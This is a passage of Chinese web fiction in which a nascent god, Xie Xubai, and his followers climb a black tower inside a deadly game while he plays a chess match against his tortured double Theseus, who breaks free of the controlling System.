金色纹路浮现手背,隐约勾勒出一个半圆的图案。 这形状像极了谢叙白的眷属徽记——双手环抱如家般的地球,意喻“守护”。 本来还有几分失落和不平衡的徐济这下顾不上犯嘀咕了,吓得头皮发麻脸色惨白。 他死死捂着那还没完全成形的徽记,生怕被神龙怀疑信仰不纯,忙不迭地低声表明立场:“谢神,谢神?多谢您的好意,恕我不能接受!” 结果好几秒没动静。 徐济小心翼翼地抬手一看。 嚯! 那金光勾勒出来的分明是张笑脸,哪儿是什么神眷者徽记? 金光再一变化,飞快勾勒出一串文字:【早知金龙老祖护短,我可不敢随便抢人。多谢你们帮我照看宴初一他们,接下来也拜托巅峰多加看顾。】 徐济一时有些哭笑不得,心想或许让会长他们算准了,谢叙白就是位出世不久的年轻神祇,宽厚仁慈的面目下,心态不是一般的活泼。 他再看向“护短”二字,紧皱的眉头倏然一松,对自己没能成为神眷者的些许不忿,也在不知不觉间消散了。 旁边兴高采烈的议论声不停,可玩家大喜后又发现不对,为什么他们的徽记不完整,和初一大佬们的不一样? 宴初一出来解释说:“因为它们只是标记。” 标记代表神明一直在看着他们,以此彰显他们都具备成为的神眷者的资格,但是否真的能和神明意志产生共鸣,还是个未知数。 这觉醒条件,说是严苛,或许一场绝境下的誓死不屈就能激活,如许清然和重力玩家。 但要是说不严苛,意志爆发又怎么会轻松简单? 或许玩家终其一生都没法觉醒,所谓的标记只不过是吊在眼前的胡萝卜而已。 听完宴初一的解释,宛若兜头泼了一盆凉水,热火朝天的玩家瞬间消声,陷入死寂。 宴初一看着默不作声的人群,低声问道:“感到失望了吗?” 静默半晌,突然有人朗声笑道:“初一大佬你把我们当成什么人了,怎么可能失望?以前是一点机会都没有,现在好歹有机会了啊!” 马上就有人乐观附和:“是啊!甭管这机会有多大,谁不想和无限游戏当面叫板?谁没个建功立业保家卫国的梦想?有往上的途径总好过没有!” “是啊,要是真这么容易成为神眷者,我们反而要怀疑是不是又踩进某个陷阱了!” 世上最悲哀的事情,莫过于眼看着大厦将倾,却意识到自己无能为力。 不说所有人,至少绝大多数玩家在刚进入游戏的时候,也想过轰轰烈烈地大干一场,到头来,却发现平凡人的殊死一搏,丢进游戏里根本砸不出个响。 有意义的死亡才叫牺牲,他们这种冲上去就被怪物一巴掌拍死的,连炮灰都算不上。 于是不止一次问自己。 活下来的意义是什么,被选中的意义又是什么? 全地球八十多亿人呐,为什么老天不选那些厉害的人来赎回地球,偏偏选中了无能平凡的ta? 直至此刻,看到手背上半觉醒状态的神眷者徽记。 情绪大起大落,长久以来憋在胸口的郁气抒发出来,恍惚间好似被人从湍急冰冷的水流中一下子拽出来,终于能够畅快地大口喘气。 ——只因那些自卑、懦弱和仿徨,都在这一刻挣脱桎梏,获得向前的动力。 经此变故,原本决定留下来的玩家改变了主意,他们想去上层拼一下觉醒徽记的机会。 但火炉需要有人来守,于是仍旧有人选择和等级较低的老人小孩一并留下来,甚至有几名高级玩家主动站了出来,表示愿意镇守在第二层。 他们说:“有我们在,这一层就不会出事。如果你们在上层遇到危险,别忘记你们的身后还有退路。” 很快,谢叙白他们整装待发前往第三层。 在他们离开后,留下来的玩家陡然感到一阵冷清,面面相觑,一时间不知道该干什么。 有人无所事事地在外面闲逛,瞄见雪化后露出来的尸体。 温度上升后,它们的皮肤逐渐暗红,似乎有了破皮腐烂的迹象。 这名玩家立时警觉,快步跑回去问:“历史上诸多王朝的覆灭是不是都和瘟疫有关?” “瘟疫?”被询问的玩家忽然想起谢叙白离开的时候,让他留意周围有没有什么异常变化,特别是那些尸体,连忙快跑出去观察情况。 笼统算来不过十几分钟,那些尸体的表皮居然都烂完了,白胖胖的蛆虫在上面爬来爬去,恶臭的气息从黢黑化脓的血肉中溢散而出,熏得人眼睛生疼。 他眼前一黑,捂住鼻子,着急忙慌地说道:“把大家都叫过来,我们得赶快处理尸体!” 都不用怀疑,任何反超常理的负面变化,保准是系统在暗中作梗! 已知黑塔上下层连通,上层砍伐树木会造成下层出现极端气温,那么下层的瘟疫,也必定会蔓延到上层。 这些玩家不无庆幸,得亏他们留了下来,要不然还不知道会造成怎样严重的后果。 留下来的这些玩家还算机智,知道靠他们这点人手,不可能在瘟疫蔓延前就把一整层的尸体清理干净。 所以,他们干脆从巨型火炉下手,通过控制暖气的传输区域让腐坏的尸体再次冰封,再穿上防护装备,从靠近水源的重要地带开始清理,尸体拉回来后统一先消毒,再火化。 多亏这几天跟在谢叙白他们身边的经历,耳目渲染下,心态都放平不少。 如果是以前,他们肯定做不到像现在这样淡定思考,有条不紊地解决问题。 水墨空间。 忒修斯喘着气,脸色惨白地抬起脑袋,嘴角还沾着一丝血迹。 他看向黑塔第二层,忍不住嗤笑一声:“蠢货。” 谢叙白同样在观察第二层的事态。 留下来的标记能让他临时输送神力,助玩家们应对危机,结果情况比预想中更让他欣慰。 听到忒修斯的嘲笑,他眼眸一抬,冷若冰霜,怀疑系统是不是设下了别的圈套。 结果下一秒,忒修斯的脑袋就狠狠地往前砸在棋桌上。 嘭! 这一下砸得非常狠,谢叙白甚至听到了头骨破裂的脆响。 忒修斯瞬间双手成拳,抵住桌面,手背和太阳穴暴起狰狞的青筋,涨红绷紧的脸和额头流下来的血混成一团,似乎被什么东西按着脑袋,无论怎么挣扎都撑不起身。 意识到挣扎无用,忒修斯直接双手一甩,干脆地趴在桌子上,笑得更加恶劣:“当着那些人的面加快腐烂速度,你不是蠢货是什么?” 谢叙白忽然反应过来,原来忒修斯嘲笑的是系统——系统果然是想通过制造瘟疫,诱使第二层的污染爆发。 他拧眉,并没有感受到系统出现在这个空间,紧跟着忒修斯的脑袋猛一下后仰,再次重重地砸向棋桌,发出嘭的震响! “恼羞成怒了,哈,看来你在邪神那没少吃瘪啊。”忒修斯咧嘴笑得幸灾乐祸。 系统机械声直接出现在忒修斯的脑海,杀气四溢:【我不在的这段时间,你向谢叙白透露了什么?】 忒修斯状似无辜地龇牙:【我没听懂你在说……】 意念还未传递过去,他的脑子猛然像是被把锋利的刀捅了进去,剧痛刺激下头晕眼花。 等回过神来的时候,他被系统抓着头发,被迫高抬头,对着谢叙白露出整张脸。 谢叙白眉头忽然拧起,但没有轻举妄动,眸色微沉,似乎在斟酌着什么。 忒修斯不用想都知道,对方保准在分析推测他和系统的关系究竟恶劣到了什么程度,有没有离间挑拨的可能。 不知道为什么,忒修斯忽然想起自己听谁说过的一段话,说那些心思通透的人,眼睛锃亮得像镜子似的,什么歪心思都逃不过他们的视线。 忒修斯仔细去看谢叙白的眼睛,果然在里面看见了自己狼狈不堪的倒影。 满脸血,鼻青脸肿,哼哧哼哧艰难地呼吸,多么像故事最终结局被炮灰的反派。 到目前为止,忒修斯还有心情笑出声。 直至他脸上忽然一凉,系统竟然强行解除了他的认知干扰! 当在谢叙白明镜般的眼眸里,猝不及防看到自己顶着对方那张脸时,忒修斯那一副好似对世间一切都漠不关心的表情,终于乍然变了。 第232章 成神进度:70%…… 谢叙白对忒修斯和系统的联系一知半解,想不到系统非要当着自己这个敌人的面折磨对方的原因。 难道是察觉到了忒修斯背叛的意图,以示警告? 正是这时,忒修斯的周围凭空出现亮白发紫的强高压电流,银蛇般噼啪流窜,不经意间扫上桌面,炸开数道骇人的焦痕! 谢叙白的脸色倏然沉了沉,这可不像是正常的警告。 他看着自己那张脸,潜意识使然,快手将金丝眼镜摘下来,再给眼镜和脚下的影子一并覆盖上精神力,屏蔽祂们对这里的感知。 谢叙白的预感向来很准,他猜对了,系统就是通过折磨这张脸来刺激宴朔。 然而系统做得更绝,它直接将水墨空间的实时画面投放到宴朔的眼前。 —— 彼时宴朔已抱着谢叙白的分魂抵达黑王宫殿。 百来个侍从自红毯两边一字排开,喊着黑王的尊名,恭敬迎接。 祂看也不看,大步流星直奔宫殿内设的医疗部门,让宫廷医官为谢叙白医治。 半透明虚拟屏幕就是这时直接横跨在宴朔的面前,映出忒修斯那张狼狈不堪的脸。 然而宴朔的眼睛一个劲儿黏在谢叙白身上,并不关心冒牌货即将遭受什么样的折磨。 祂头也不抬地伸出手,掌心朝内,手背朝外,赶苍蝇似的往上一挥,虚拟屏幕在无形力量的冲击下瞬间破碎! 宫廷医疗团队看不见系统,冥冥中好似感到刺骨的冷风掠过,经不住打了个哆嗦,手下一用力。 还处于昏迷状态的分魂吃痛,幅度极小地抖了下手指。 宴朔的眉头瞬间拧成一团:“认真点。” “是是是……”宫廷医师汗流浃背地应道。 来自虚空的系统声静默一瞬,紧跟着传开嘈杂波动,像是恼羞成怒的咒骂。 宴朔站在病床前,看着分魂不安稳地颤动着,坐在床边,伸出手指轻轻拨开一缕沾在青年鬓角的发丝,抚摸他的脸颊。 似乎只有睡着的时候,坚韧倔强的人类才会暴露出一丝内心的脆弱。 系统提示声不依不饶地响起,阴毒的笑声如指甲刮擦黑板般尖锐刺耳。 【你曾经失去过他。】 【难道你就不好奇失去他的那段时间,我对他做过什么?】 宴朔倏然抬起冰冷暴戾的眼眸。 便是等到祂情绪剧烈跌宕的瞬间,忒修斯满脸血的影像,唰一下再度闪现在宴朔的眼前。 黑色高压电爆出恐怖威压,瞬间犹如毒蛇窜上忒修斯的身体,在体表纵横跳跃,所过之处皮肤皲裂出血,肌肉疯狂抽搐,肢体肉眼可见地炭化,散发扑鼻的焦臭味。 忒修斯瞳孔骤缩,剧痛下本能凄厉嘶吼:“啊啊啊啊啊——!” 单纯折磨忒修斯这个人,不会让宴朔心里泛起一丝一毫的波澜。 但在系统的刺激下,忒修斯的神情忽然开始不受控制地一变再变,时哭时笑时恐惧,像快速切换的戏剧脸谱。 终于在某一刻,阴鸷仇恨的眼神消失了,取而代之的是剧痛下依旧坚定不屈的目光。 “他”急促喘息,痛得嘶吼不断,在高频电流折磨下艰难地汲取氧气。 猛然间和宴朔对上视线,竟是一闭眼,探手凝出刀刃,毫不犹豫地扎向自己的心口! 这正是谢叙白的个性,宁死不屈——敌若以我为人质,我必泼血振军威。 刹那间宴朔的呼吸乱了。 透过这张脸,这段青年毅然决然慷慨赴死的影像,祂仿佛能回想起每一世尽头,青年疲倦闭目的模样。 祂确实能通过时间回溯无数次让谢叙白活过来。 就算谢叙白的灵魂碎成渣,脱离地球的时间线外,祂也能拼着毁掉半个神核,在虚空外杀个七进七出,抢回谢叙白的灵魂碎片,将青年拼凑复活。 但这始终都改变不了,谢叙白曾经死过的事实。 ——无论祂将谢叙白救活多少次,无论祂事后怎样弥补,那都是无法抹去的事实。 是祂的无能不堪,是祂永远都迈不过去的痛。 —— 水墨空间剧烈摇晃起来,这股异常的震动源于棋盘,又或者说源于作为棋盘世界核心部分的黑塔。 黑塔早已与唯一的统治者黑王融为一体。黑王痛苦,它便动荡,黑王暴怒,它便狂躁。 一时间所有正在登塔的玩家和游戏王国的子民,都能感受到恐怖威压铺天盖地砸下,空气宛如被抽得一干二净,憋闷的窒息感从胸腔升起,死亡仿佛近在咫尺! 千钧一发之际,宴朔的上半身猛一下沉,低头顺着拽住自己衣领的手,看向削瘦瓷白的手臂胳膊,最后对上分魂缓缓睁开的眼睛。 谢叙白的分魂艰难地换上一口气,眸光沉稳平静,揪着衣领将宴朔拉得更近一分,几乎怼到自己的脸上。 两人鼻尖相触,灼热呼吸彼此纠缠。 在宫廷医护团队不敢置信的注目中,床上病弱的青年抬起下巴,不容质疑地对着某个没能反应过来的邪神说:“他有什么好看的?看我。” —— 系统一而再再而三拿自己作筏挑衅宴朔的行为,彻底激怒了谢叙白。 他没能在水墨空间搜寻到系统的存在,证明系统是通过某种契约链接,远程控制的忒修斯。 谢叙白当机立断,凝眸催动精神力,金光如离弦箭矢迅猛地贯入忒修斯的身体。 也是系统自作孽,忒修斯作为谢叙白的修改版,与他一样擅长精神力,并且还对谢叙白的进攻手段知根知底,放在之前谢叙白绝对无法顺利入侵。 而现在,被折磨得人格混乱的忒修斯根本无力抵抗谢叙白的精神探知。 金光长驱直入,很快抵达忒修斯的意识海。 这里一片混乱,猩红的裂痕撕裂空间,空气犹如黏稠湿冷的泥沼般钻入鼻孔,令人喘不过气,放眼望去,都是如玻璃碎片般飘散悬浮的记忆片段。 在这千疮百孔的意识海世界,有什么异常都会变得一览无遗,是以谢叙白根本不需要细找,一眼就发现了悬在高空的异常。 那是只眼睛,非常大的眼睛,太阳般悬在头顶。数不清的机械血管从眼球后方伸出,蜿蜒向下,铁钩般的转接器扎根在意识海深处。 便是这时,那骇人的眼珠子骨碌一转,死死地盯着突然闯入的金光,像是发现他的存在。 【你为什么能进来?滚出去!】 霎时间无形的冲击席卷而来,谢叙白眼前一黑,脑子里响起数不清的呢喃,窸窸窣窣直叫他头晕眼花,意识混乱。 【吼——!】 下一秒威严的龙吟自他脑海中骤然响起,啸声如有神助,惘念如迷雾般被瞬间震碎。 谢叙白恢复清明,眼神一凛,毫不拖泥带水地操控金光,将异化眼球粉碎! 然而系统是忒修斯的制造者,两者之间的联系根本不是说断就断。 只见碎成一滩滩烂泥的血肉四溅飞射,又在半空骤然定格,在某种牵引下,以肉眼可见的速度聚拢复原。 当它恢复时,也将重新恢复对忒修斯的控制,包括操控对方继续刺激宴朔。 棋局没有结束,谢叙白不能对忒修斯下杀手。他果断分出一部分精神力,嵌入意识海与系统角逐,抢夺忒修斯的控制权。 结果下一瞬间,黑红色的身影陡然出现。 他的身体被无形的线条切割成无数块,眼睛、嘴巴、鼻子、耳朵、手脚……每一块都在不断地变化,时大时小,时长时短,就像被扭脸的游戏角色。 那正是忒修斯的主意识。 谢叙白进攻系统,让他捕捉到一瞬脱离桎梏的时机,他一把抓住谢叙白分离的金光,毫不犹豫地塞进自己的意识体,再对其出手! 这一幕,就像谢叙白挥刀刺向系统,而忒修斯劈头盖脸将刀夺过来,转手恶狠狠地刺向谢叙白。 电光火石间,本就对他抱有戒备的谢叙白反射性回击,谁想到居然没有一丝阻碍,金光直接贯穿忒修斯的意识体,鲜血四溅! 忒修斯的瞳孔逐渐涣散,临到闭眼之前,对谢叙白露出一抹笑。 糟糕!他在寻死? 谢叙白脸色微变,金光倾泻而出,全力以赴修复忒修斯的意识体。 ——如果忒修斯在这时死掉,棋盘世界将直接垮塌,里面的人全部玩完! 忒修斯的主意识体重伤溃散,整个意识海也如破旧危房般摇摇欲坠,缓慢垮塌。 空间裂成数片,犹如墙皮般淅淅沥沥脱落,终于暴露藏匿其中的机械血管,纵横交错,密集到让人遍体生寒。 难怪谢叙白摧毁异化眼球也无法斩断系统的连接,原来这“毒”无孔不入,早已深入“骨髓”。 随着忒修斯的死亡,它们也开始凋零、干瘪、失去活力。 不同的是,谢叙白的金光在拼命抢救忒修斯,于是他反超常态地留有一线自主意识。 便是这瞬间,忒修斯骤然睁眼! 看见系统用以操控他的机械血管逐一坏死,他的眼中一片清明,笑意猖獗,哪有濒死之人该有的虚疲空洞? 眼见掉落在地的意识海空间碎片疯狂颤抖,发出兴奋的嗡鸣,谢叙白骤然意识到不妙,飞速撤退。 原来这才是忒修斯的谋算! 用死亡刺激系统暴露,就像察觉到宿主死亡的寄生虫会主动脱落。 再利用谢叙白吊住自己一口气,然后拼着这一口气,拍死脱离体内的寄生虫! 不知道为什么,忒修斯没有攻击他,或许是谢叙白撤得及时。 这里是忒修斯的意识海,当他拥有自主权的时候,他就是绝对的统治者。 彻底退出前,谢叙白听到忒修斯发出嘹亮痛快的大笑。 在那响彻天地的笑声里,空间碎片漩涡状汇聚,犹如龙卷风,将余下的机械血管绞成碎片! ——这一刻,他终于彻底摆脱系统的掌控。 —— 离开忒修斯意识海的谢叙白猛一下咬紧后槽牙,想到自己间接帮助恶魔卸下枷锁,寒意贯彻全身。 可再一抬眼,谢叙白却愣住了。 眼前的忒修斯哪有想象中意气风发的模样,瘫在座椅上,浑身都是电击留下的狰狞瘢痕,脏器破裂,呼吸微弱,身体佝偻,只剩出气没有进气。 病来如山倒,病去如抽丝。 细想下来,似乎很合理,从“出生”到现在,忒修斯就一直受到系统的控制,他也几乎已经成为系统的一部分,想要脱离出来,可不得抽筋剥骨? 现在的忒修斯,怕是连抬手下棋都做不到了,但他看起来非常开心,肩膀抖动,低声笑个没完,扯到身体的伤势,痛得直抽气,抽着抽着又开始笑:“哈哈,哈哈哈……” 猛然间,忒修斯不知哪儿来的力气,右手变成利爪,抓向自己的脸。 系统要用谢叙白的脸来刺激宴朔,所以一通电击后,他浑身上下几乎被电灼成碳,脸还是完好无损的样子。 呲啦一下,忒修斯竟是将半张脸皮都撕了下来,扑通丢进湖底,溅起一片水花。 暗中观察的大鱼偷偷摸摸瞧上几眼,冲上去把肉块叼进嘴里,开心地吃了个干净。 “……”谢叙白无声地看着他。 忒修斯像是感受到了,胸口起伏好几下,才抬手止血,带着一张血肉模糊的脸,声若蚊蝇地讥讽道:“大圣人,你该不会在可怜我吧?” 谢叙白忽然问:“你的那些棋子,是不是都由活人炼化而来?” 忒修斯每动一下,就疼得颤一下。他艰难地撑起身,无力地斜靠在椅子里,似乎心情很好,于是不吝解答:“当然。” 谢叙白:“你炼的?” 忒修斯:“差不多吧。” 谢叙白能读出他的真实情绪,所以知道他没有说谎,同时没有感知到一丝悔意,脸色森冷地反问道:“那你有什么值得可怜的地方?” 忒修斯低笑,像是深以为然:“说得是呢。” 第233章 成神进度:78% 棋盘世界,宴初一等人来到黑塔第三层。 前排的人走出传送阵,猛然间一脚踩空,差点掉下去。 重力玩家眼疾手快地操控重力,及时把惊慌失措的大家拉上来。 湍急的水流声在耳边炸响,空气弥漫着湿冷的水汽。在场众人低头一看,立时惊得瞪眼。 只见下面的区域被洪水席卷覆灭,水流如凶猛的恶兽,唰一下咬断房屋,撞垮树木,裹挟着泥沙和无数残木碎物奔腾而去,所过之处生机尽绝。 有人忍不住骂了句:“先是极寒地狱,现在又是洪灾,这次副本该不会让我们把所有的天灾都体验一遍吧?” 玩家可以从高空飞过,跨越洪水并不难。 问题是登塔的通道被淹在洪水里,通道门紧紧闭合,四周都是急速旋转的漩涡。 唰—— 汹涌水流骤然拍上外围的铁墙,轰一下溅起三米高的褐色波涛! 整面铁墙剧烈晃动,发出摇摇欲坠的声响。 宴初一问:“这水多深?” 问到了点子上。 水的可怕除了冲击力,让人体迅速失温,还有未知的深浅。 众人分组进行探索,不久后带回来的消息让所有人倒吸一口凉气。 洪水上有房屋露了个顶,在水流的冲刷下瓦片尽碎,石灰层光秃秃地露在外面,像嶙峋参差的山岩。 他们以为那些房子最多不过六、七层,结果一看门牌和楼道标记,居然是三十层的高楼! 如果按每层楼三米高来算,现在水位线至少在一百米以上,如果开启通道的机关不幸就在地底,那不是玩完? 宴初一琢磨后说道:“去找找洪水的源头,再看看附近有没有建设完善的水利工程。” 众人抱着侥幸再度探索。 结果不仅没有找到洪水的源头,也没有找到人们用以防范洪涝的水利工程,一场洪水像是无中生有。 玩家脸色难看,唾骂系统:“演都不演了!” 唯有知道内情的宴初一心中了然。 对战就怕敌人无动于衷,而系统越是跳脚,无所不用其极,甚至违反游戏的背景设定施加干扰,越能证明它深深的忌惮。 ——看来忒修斯突然脱离控制给系统带去的刺激不小。 没法治水,就只能硬着头皮生抗洪水,去下面找开关。 但众人看看那些被飘在水面上的断木,宛若被重锤砸断,截面堪称狰狞。 他们情不自禁感到头皮发麻,这要是人下去,不得把脏器都冲散? 宴初一没想过让普通玩家下去。 虽说系统再怎么发疯也需要遵守限制,做不到让登塔难度突然从S级拔升到神级,但洪水泛滥浑浊,观察不到下面的情况,或许隐藏着许多不为人知的危险,低等级玩家下去,风险太大。 于是他安排徐济、史蒂芬、重力玩家和他一起下去探底,分魂white、布莱恩和许清然就留在外面警戒。 却没想到,会有不少玩家主动请缨。 请缨的不是别人,正是在第二层获得标记的低等级玩家。 洪水的恐怖让他们心里发怵,可也在习惯性后退的瞬间,他们看见几位大佬自然而然地聚集在一起,探讨对策,宛若当头棒喝。 ——如果他们这一次依旧选择退缩,让宴初一他们顶在前面,那和前几次又有什么区别? 成为神眷者的契机看起来很难捉摸,但只要留心观察许清然和重力玩家的觉醒,就不难发现,那些生死存亡、危急关头,也正是机遇降临的时刻。 人活一辈子,总要试一把,拼一把,冲一把。 “初一大佬。” 宴初一回头。 十多名玩家抬起手背,直勾勾地看着他,怯弱的眼神在下定决心后逐渐坚定。 “能不能让我们试一下?” 似乎感受到某个呼之欲出的意志,半透明的徽记散发出点点荧光。 —— 时间飞速流逝。 或许因为系统无法插手干预,也或许是忒修斯伤重没法叨叨垃圾话,水墨空间比之前安静不少。 偌大的凉亭只剩下忒修斯有气无力的呼吸声,断断续续,似乎随时就能咽气。 但谢叙白知道这个人不会死。 无论是在意识海绞杀系统精神链接时,表现出来的狠劲儿,还是眼也不眨地挖出和他一样的那张脸,都代表这一点。 ——忒修斯对系统还有自己都有着浓烈的恨意,想杀他们的心也不假,不亲眼看见他们死去,无论如何都不会闭眼。 忒修斯靠在椅背上,微微睁开沾满血液和汗水的眼睫,斜向棋盘世界,冷不丁说道:“真叫人嫉妒啊。” 他和谢叙白的主体处于同一空间,比任何人都能清楚地感知到对方的神力正在稳步上涨,不过短短几天,已经攀登上恐怖的78%。 …… 宴初一他们通过黑塔第三层,已经是几天前的事情了。 哪怕徐济再三强调洪水下面很危险,环境艰险恶劣,无法及时照看和回援,依旧有玩家鼓足勇气,坚持下水。 有的人活了下来,濒死时意志爆发,觉醒神力。 也有人被怪物一口咬中。 怪物来得猝不及防,洪水下又都是泥沙,能见度低,分不清东南西北。 徐济他们想救人,根本来不及,这也是众人最开始就预料到的情况。 宴初一可以救下所有人,只要他借用主体的力量。 可也是这时,遇险玩家的心声顺着信仰线,真切地传达到他的意识海。 有恐惧沮丧,有慌张遗憾。 但最强烈的念头当属——不服。 【格老子的就差那么一点!完蛋了,好不容易才得到成为神眷者的机会,不会就这么浪费掉吧?不不不!谢神!谢神!您听得到吗?我还能再来一次,不对,我还能再来无数次,您等我复活后又是一条好汉,千万不要把标记收回啊!】 谢叙白忍不住一顿。 他不免开始反省,自己想要带所有人玩家无死亡通关,是不是走进了一个误区? 人类向来不缺少重头再来的勇气,何况副本中的死亡不是真正的死亡。 如果将玩家们从头护到尾,到底是在保护他们,还是在看轻他们的决心? 谢叙白缓缓收回欲要降下的神力。 他看着那名玩家,后者拼着最后一口气扭转身体,满脸凶狠地拿武器重伤怪物,眼中爆出璀璨光亮,似乎在痛快地大喊:值了,血赚! 蓬勃热烈,意气风发,没有因为即将迎来的死亡,染上无法磨灭的阴霾。 谢叙白定定地看着,半晌没有动作,倏然在某一刻微微扬起嘴角。 仿佛打通某种关窍,信念豁然开朗,他的成神进度猛然从67%上升至70%! 此后,谢叙白没有再像之前一样,严防死守地保护所有人。 他放任他们去受伤,去死亡,去争斗,去觉醒。 只要有人心中保持不放弃的念头,他都会在标记中灌输神力,让他们记住这一次副本中的遭遇,记住自己不畏重来的决心。 从排斥被信仰,到接受玩家的信仰。 再到去深入理解,去由心感受玩家的信仰。 谢叙白的成神进度从70%跳到了74%! 因为有信徒玩家与他的意志契合,成功觉醒为神眷者,这个数字又蹦到了75%、76%,直到如今的78%! 如此,宴初一的队伍气势如虹,一连登上十一层,跨入黑塔的中上层级。 前面登塔看似艰难,但紧赶慢赶下并没有花费多少时间,基本上一天就能登上两层。 十天内抵达黑王宫殿,看上去绰绰有余。 但宴初一让队伍停了下来。 他直觉没那么简单。 —— 水墨空间,谢叙白看向忒修斯。 忒修斯先疑惑,后眯眼,精准地抓住悄然靠近的一缕金光,不客气地砸到谢叙白的脸上:“你有完没完?” 金光在半空消散,谢叙白一动不动,淡然揭短:“体力丧失,身体重伤,精神萎靡,你现在正处于一个岌岌可危的状态,之前一直刺激我向你发起进攻,并乐此不疲,现在却开始对我的试探感到烦不胜烦,疲于应对——” “这样的你,一旦游戏结束,还有力气抵抗系统的报复吗?” 忒修斯冷冷地看着他:“你到底想说什么?” 谢叙白神色不改:“我想说什么不重要,重要的是你想不想解决系统,彻底摆脱它的控制。” 忒修斯和谢叙白对视,半晌,嗤笑一声。 “别以为我不知道你怎么想的,落在你手里不见得好过落在系统手里。你想借用合作的名头从我嘴里撬出系统的弱点,成功之后再过河拆桥……真当我傻吗?” 谢叙白:“但你确实心动了,不是吗?” 忒修斯猝然一僵,探手摸到坑坑洼洼的脸。 他反应过来自己的认知干扰已经被系统强行解除,谢叙白可以大概探知到他的情绪波动,瞬间脸色一沉。 谢叙白笑了:“你说落在我手里不比系统好,但你心里可不这么认为。我可以向你保证,如果我抓住你,一定果断出手永除后患,而非像系统那样把人折磨得生不如死。” “至于你说我想杀你,你不也想杀了我吗?从某种层面上来说,我们起步一样,胜负没有见分晓前,更说不清最后是鹿死谁手。” “忒修斯。”谢叙白微微一笑,“就在刚才你成功戏耍了系统和我,让自己获得自由。” 他的语气慢条斯理,仿佛有着蛊人失控的魔力:“告诉我,现在的你还敢吗?” 忒修斯对上青年那双波光粼粼的眼睛,心道真是可怕啊。 恐怕连邪神都做不到像谢叙白这样,明明在劝人往火坑里跳,却真情实感得像是为人着想。 而被劝的人也知道前面危险至极,却依然忍不住晃神动摇,迫切地想要如他所愿,跳下去一探究竟。 忒修斯回神,呲牙一笑,一副看得清楚明白的模样:“这次副本你和系统必定要对上,我为什么一定要先和你联手,不能等你们两败俱伤后再出场?” 见对方油盐不进,谢叙白知道多说无益,果断放弃说服他结盟,视线重新回到棋盘世界。 却冷不丁听到啪的一声脆响。 忒修斯落子了。 第234章 成神进度:78% 下这一盘棋,要施加精神力全程操控棋子,要拟造棋子的身份将其融入规则,不单单是拿起棋子摆在棋盘上那么简单。 只看忒修斯命若悬丝的状态,恐怕谁都想不到他还有力气下棋。 谢叙白疑他发难,拧眉看过去,正瞧见忒修斯将手收回,抖着胳膊,惨白着脸,抓住扶手要往后坐。 岂料一个脱力猛栽下去。 似乎刚才的动作用尽了他积攒的全部力气。 忒修斯的血沾满黑棋,眨眼间便被黑棋全部吸收,表面焕发出鲜亮的光泽。 棋桌像被激起某种连锁反应,剧烈波动如涟漪般一圈圈朝外荡开,冥冥中谢叙白听到一声尖锐的脆响。 ——有什么东西碎掉了! 谢叙白似有所觉地低头,刹那间眸光微凝。 他所观察到的棋盘世界骤然变化,视觉上犹如平板分屏,被一分为二。 左边是分魂宴初一所在的333号副本,右边则是另一批正在登塔的玩家队伍,大部分都是陌生面孔。 那碎掉的东西居然是游戏副本的空间壁障! 如果将副本比作一个个房门紧闭的屋子,那么相互之间的空间壁障就如同四面封死的墙壁。 这层壁障属于游戏底层代码的一部分,只要它还存在,玩家就没法跨越到另一个副本。 同理,谢叙白没有“开门”权限,所以忒修斯开场在徐济他们的副本落子,他也只能在那一个副本落子。 没法观察并干预其他副本,也没法大范围扩充神眷者的人数。 而现在,忒修斯居然主动打破了这一对他不利的因素? 不。 谢叙白不相信对方会有资敌的“天真”。 也是这时,他再度听到一声震耳欲聋的脆响,又一空间壁障破碎了! 谢叙白猛然警觉起来。 他不清楚现在副本中还有多少玩家,存在多少副本,但可以肯定的是,如果空间壁障接连破碎下去,所有人汇聚到同一副本,最后的场面一定会变得一发不可收拾! 忒修斯支撑身体,连着打滑好几下,终于艰难地缩在椅子里。 他看向谢叙白,眼睛蒙上一层模糊的汗水,分辨不出是什么情绪,嘴唇翕动,似乎有话想说,最后闭上,扯嘴笑了笑。 那笑容怪异,介于欣赏和恨不得谢叙白倒霉的恶意之间。 像是城市夜幕与霓虹灯碰撞出来的光影碎片,暗得不彻底,亮得不纯粹。 忒修斯无力说话,于是兴味盎然地传递识念:【你和系统,谁能赢,就,让我,看看你的本事吧……】 【赢下来的那个,才有资格,和我,继续,对局……】 他识念渐消。 忒修斯沾满血的眼睛阖上,脑袋靠在椅背上,呼吸和胸口起伏微弱到几近于无,安安静静的,像是睡了过去。 这似乎是趁机入侵对方意识海的好时机。 谢叙白淡然无声地看着忒修斯,指尖捏出一缕金光。 “……” 几秒后,他合拢手掌。 金光如流星尾焰溢于半空,散了个干净。 而在谢叙白的视角盲区,忒修斯藏在斗篷下面的手指倏然一松,剑拔弩张的黑红色精神力随之隐匿。 忒修斯半张脸没入斗篷里,嘴角抽搐,麻木扭曲地笑着。 他自己也不知道是在笑谁,脑子里迷迷糊糊地念着。 呵呵,圣人…… 圣人呐…… —— 玩家走着走着才发现身边少了道人影。 徐济讶异地问道:“那个叫white的年轻人去哪儿了?” 游戏重启后,使徒公会大换血,第一使徒早已被另一人取代,有关年轻指挥官的事迹只有保存记忆的少部分人得知,并引为最高机密。 是以在队友眼中,white是个话不多但气场格外强大的神秘大佬,来历不明,实力不明,以前似乎是众使徒的长官,下意识心生敬畏。 有宴朔帮忙干扰认知,他们还不知道宴初一和white就是谢叙白的分魂。 史蒂芬则和希尔一样,和谢叙白相遇时实力不相上下,彼此又熟悉至极,所以能够一眼认出对方的分魂。 但在宴朔现身之后,他们就没法那么轻易地分辨出来了。 随后谢叙白成神进度攀升78%,神力更上一层楼,史蒂芬更是连人什么时候离开都没发现。 哪怕习惯于谢叙白变态的成长速度,史蒂芬也会忍不住感慨这家伙简直是个行走的bug。 他用眼神询问分魂宴初一,后者让大家稍安勿躁:“没事,他只是提前去接见我们要找的人。” “谁?”史蒂芬忽然反应过来,“你是说,小羊?” —— 第十二使徒,代号【缄默的羔羊】,原籍贯波兰,棕发蓝眼,在被选中的十二使徒中年龄排最小。 和攻击手段五花八门的其他使徒相比,第十二使徒只有寥寥一个伤害不高的攻击型技能。 但他却能轻松通过那几场将史蒂芬逼到崩溃的筛选测试,迄今为止的测试通过率始终居高不下。 游戏重启后,第十二使徒在临近《游戏之家》试炼开启前,一共参加过两次副本。 一次A级诡王副本,刷新了美洲区的历史最快通关时间,将直播间热度烘托得空前高涨。 他对着镜头喊话【占星师】,要求线下见面。 【占星师】没理。 